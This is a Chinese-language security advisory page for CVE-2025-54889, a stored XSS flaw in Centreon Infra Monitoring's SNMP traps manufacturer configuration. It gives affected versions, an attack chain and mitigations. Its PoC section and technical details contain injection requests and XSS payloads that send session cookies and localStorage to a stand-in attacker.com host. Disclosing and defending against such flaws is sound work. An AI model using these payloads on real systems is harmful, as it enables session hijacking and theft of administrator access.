IPBUF安全漏洞报告
English
CVE-2025-54889 CVSS 6.8 中危

CVE-2025-54889 Centreon SNMP配置模块存储型XSS漏洞

披露日期: 2025-10-14
来源: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

漏洞信息

漏洞编号
CVE-2025-54889
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Centreon Infra Monitoring

相关标签

CVE-2025-54889Stored XSS跨站脚本攻击CentreonInfra MonitoringSNMP Traps中等严重性CVSS 6.8CWE-79输入验证缺陷

漏洞概述

CVE-2025-54889是Centreon Infra Monitoring平台SNMP traps manufacturer配置模块中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于Web页面生成过程中对用户输入未能进行充分的过滤与转义处理(Improper Neutralization of Input During Web Page Generation),属于CWE-79类安全缺陷。Centreon是一款广泛使用的开源IT基础设施监控解决方案,被大量企业用于网络设备、服务器及服务的集中监控管理。

该漏洞的影响范围涵盖三个主要版本分支:24.10.x系列(24.10.0至24.10.13之前的版本)、24.04.x系列(24.04.0至24.04.18之前的版本)以及23.10.x系列(23.10.0至23.10.28之前的版本)。根据CVSS 3.1评分标准,该漏洞获得6.8分(CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N),被评定为中危级别。

攻击者需要拥有高权限账户(PR:H)才能成功利用此漏洞,且无需用户交互(UI:N)。由于漏洞属于存储型XSS,恶意脚本会被持久化存储在服务端,每当其他用户(包括管理员)访问受影响的页面时,嵌入的恶意代码便会自动执行。这可能导致会话劫持、敏感信息窃取、权限提升乃至对整个监控平台的进一步渗透。该漏洞的范围发生变化(S:C),意味着成功利用后可能影响到超出该组件的安全范围。Centreon官方已发布安全公告确认此漏洞,并发布了相应的修复版本。

技术细节

该漏洞的核心问题在于Centreon Infra Monitoring的SNMP traps manufacturer配置模块中,用户提交的输入数据在存储到数据库或后端存储之前未经过充分的HTML/JavaScript转义和过滤处理。当具有高权限的用户(如管理员或配置管理员)在SNMP traps manufacturer配置界面中输入包含恶意JavaScript代码的字段时,这些代码会被原样保存到后端存储中。

漏洞利用过程如下:攻击者首先需要获取具有高权限的账户凭证(PR:H),这通常通过社会工程学、密码爆破或利用其他漏洞获得。获得权限后,攻击者登录Centreon管理后台,导航至SNMP traps manufacturer配置模块,在可配置的字段(如制造商名称、描述、OID等)中注入精心构造的XSS Payload,例如`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`或使用事件处理器如`<img src=x onerror=...>`。

由于输入未经适当的中和处理(Neutralization),恶意脚本被持久化存储。当其他合法用户(特别是具有更高权限的管理员)访问包含该配置信息的页面时,浏览器会自动解析并执行嵌入的恶意脚本。由于Centreon监控平台通常涉及大量敏感的网络拓扑信息和设备凭证,被窃取的会话Cookie可能导致攻击者完全控制监控平台,进而影响整个IT基础设施的可见性和安全性。该漏洞的CVSS向量中范围标记为Changed(S:C),表明利用此漏洞可能影响超出SNMP配置模块本身的其他安全边界。

攻击链分析

STEP 1
步骤1:获取高权限凭证
攻击者通过社会工程学、暴力破解、利用其他已知漏洞或购买泄露凭证等方式,获取Centreon平台具有高权限的账户(如管理员或配置管理员账户),满足漏洞利用的前置条件PR:H。
STEP 2
步骤2:登录管理后台
使用获取的高权限凭证登录Centreon Web管理界面,导航至Configuration > SNMP Traps > Manufacturer配置模块。
STEP 3
步骤3:注入恶意XSS Payload
在制造商名称、描述或别名等可配置字段中输入精心构造的恶意JavaScript代码(如<script>标签、事件处理器或SVG/onload等),由于服务端未对这些字段进行充分的输入过滤和输出转义处理,恶意代码被原样存储到后端数据库中。
STEP 4
步骤4:等待受害者触发
当其他合法用户(特别是具有更高权限的管理员)访问包含该制造商配置的页面(如SNMP traps manufacturer列表页或详情页)时,浏览器自动解析并执行存储的恶意脚本,无需用户进行任何额外交互(UI:N)。
STEP 5
步骤5:数据窃取与权限提升
恶意脚本在受害者浏览器上下文中执行,可窃取会话Cookie、localStorage数据、执行任意AJAX请求(如创建新管理员账户、修改配置),最终导致攻击者完全控制Centreon监控平台,影响范围超出原始组件(S:C)。
STEP 6
步骤6:横向渗透
利用获取的管理员权限,攻击者可进一步访问被监控设备的凭证、网络拓扑信息,执行命令注入等攻击,对整个IT基础设施安全造成严重威胁。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-54889 PoC - Stored XSS in Centreon SNMP Traps Manufacturer Configuration --> <!-- Exploit requires high-privilege authentication (PR:H) --> // Step 1: Authenticate to Centreon web interface with elevated privileges POST /centreon/api/latest/login HTTP/1.1 Host: target-centreon-server Content-Type: application/json { "security": { "credentials": { "login": "admin_user", "password": "valid_password" } } } // Step 2: Inject malicious payload into SNMP traps manufacturer configuration field // The vulnerable endpoint accepts manufacturer name/description without proper sanitization POST /centreon/api/latest/configuration/traps-manufacturer HTTP/1.1 Host: target-centreon-server Content-Type: application/json X-CSRF-Token: <valid_csrf_token> { "name": ""><script>document.location='https://attacker.com/steal?c='+document.cookie+'&u='+document.domain</script>", "description": "<img src=x onerror=\"fetch('https://attacker.com/exfil',{method:'POST',body:JSON.stringify({cookies:document.cookie,localStorage:localStorage})})\">", "alias": ""><svg/onload=alert(document.domain)>" } // Step 3: When another user (especially admin) views the SNMP traps manufacturer list, // the stored XSS payload executes automatically in their browser context // GET /centreon/main.php?p=60801 (SNMP traps manufacturer configuration page) // Malicious script fires, stealing session cookies and sending them to attacker's server // Alternative payload for session hijacking: var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/collect', true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.send(JSON.stringify({ cookies: document.cookie, url: window.location.href, localData: JSON.stringify(localStorage) }));

影响范围

Centreon Infra Monitoring >= 24.10.0, < 24.10.13
Centreon Infra Monitoring >= 24.04.0, < 24.04.18
Centreon Infra Monitoring >= 23.10.0, < 23.10.28

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)严格限制能够访问SNMP traps manufacturer配置模块的用户数量,仅授予必要的最小权限;2)在反向代理或Web服务器层面配置Content Security Policy(CSP),禁止内联脚本执行;3)确保所有会话Cookie设置了HTTPOnly标志,防止通过JavaScript窃取;4)部署WAF规则检测常见的XSS Payload模式(如<script>标签、onerror/onload事件处理器等);5)定期审查SNMP traps manufacturer配置中的异常条目,排查已被注入的恶意内容;6)启用多因素认证(MFA),降低高权限账户被盗用的风险;7)监控Centreon访问日志,关注来自异常IP的配置变更操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表